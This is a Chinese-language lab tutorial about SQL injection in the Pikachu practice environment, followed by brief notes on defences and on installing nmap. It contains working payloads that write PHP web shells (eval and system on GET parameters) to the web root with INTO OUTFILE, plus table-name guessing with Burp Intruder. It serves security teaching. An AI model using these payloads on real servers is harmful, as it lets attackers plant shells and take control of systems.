通过SQL inject漏洞写入恶意代码

一、sqli漏洞演示:
1.通过SQL inject漏洞写入恶意代码
在这里插入图片描述
默认情况下:secure_file_priv是关闭的

在这里插入图片描述
首先通过show global variables like ‘%secure%’;
然后切会pikachu做测试
在这里插入图片描述
获得操作系统权限:
allen’ union select " <?php @eval($_GET['test'])?>",2 into outfile “/var/www/html/1.php”#
allen’ union select " <?php system($_GET['cmd'])?>",2 into outfile “/var/www/html/2.php”#

into outfile 可以写入到 /var/www/html/1.php文件中去
将代码复制到输入框

在这里插入图片描述
前段是看不到什么现象的 但是访问后端可以看到已经被写入了
然后在浏览器中执行在这里插入图片描述

通过改变test=’ '中的值 就可以得到信息

再复制第二段代码放入框中
访问
在这里插入图片描述
可以得到相关文件
在这里插入图片描述
使用ifconfig 可以得到网卡的IP地址

这样就实现了远程控制了服务器

2.暴力破解在sqli漏洞中的应用
SQL Inject漏洞之表(列)名的暴力破解:
打开pikachu
在这里插入图片描述
暴力破解表明和列名称:
allen’ and exists(select * from aa)#
allen’ and exists(select id from users)#

复制第一条得到
在这里插入图片描述
pikachu里面不存在该表
打开bp进行抓包
在这里插入图片描述
将该包移到intruder中
在这里插入图片描述
添加变量 aa其实就是我们要通过字典撞库的表名
在这里插入图片描述
在这里插入图片描述
在这里通常是挂字典 但是由于是演示 就手动输入了几个 users是正确的表

打开options 找到下图 clear
添加 doesn’t exist
在这里插入图片描述
跑完之后
在这里插入图片描述

看到只有users没有doesn’t exist这个flag返回 证明已经猜对了表名是users
之后去猜列的名字 效果同理不再演示 复制第二段代码 抓包操作即可

3.SQL Inject漏洞防范
分为两个方面
在这里插入图片描述
在这里插入图片描述
并不是最好的方法 因为使用黑名单性质有局限性 数据库更新较快 无法防范新的特殊字符

在这里插入图片描述
网络层面:
在这里插入图片描述
使用云服务:
在这里插入图片描述

二、nmap的安装
现在nmap网站上下载好安装程序
选好路径进行下载
在这里插入图片描述
安装完成
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值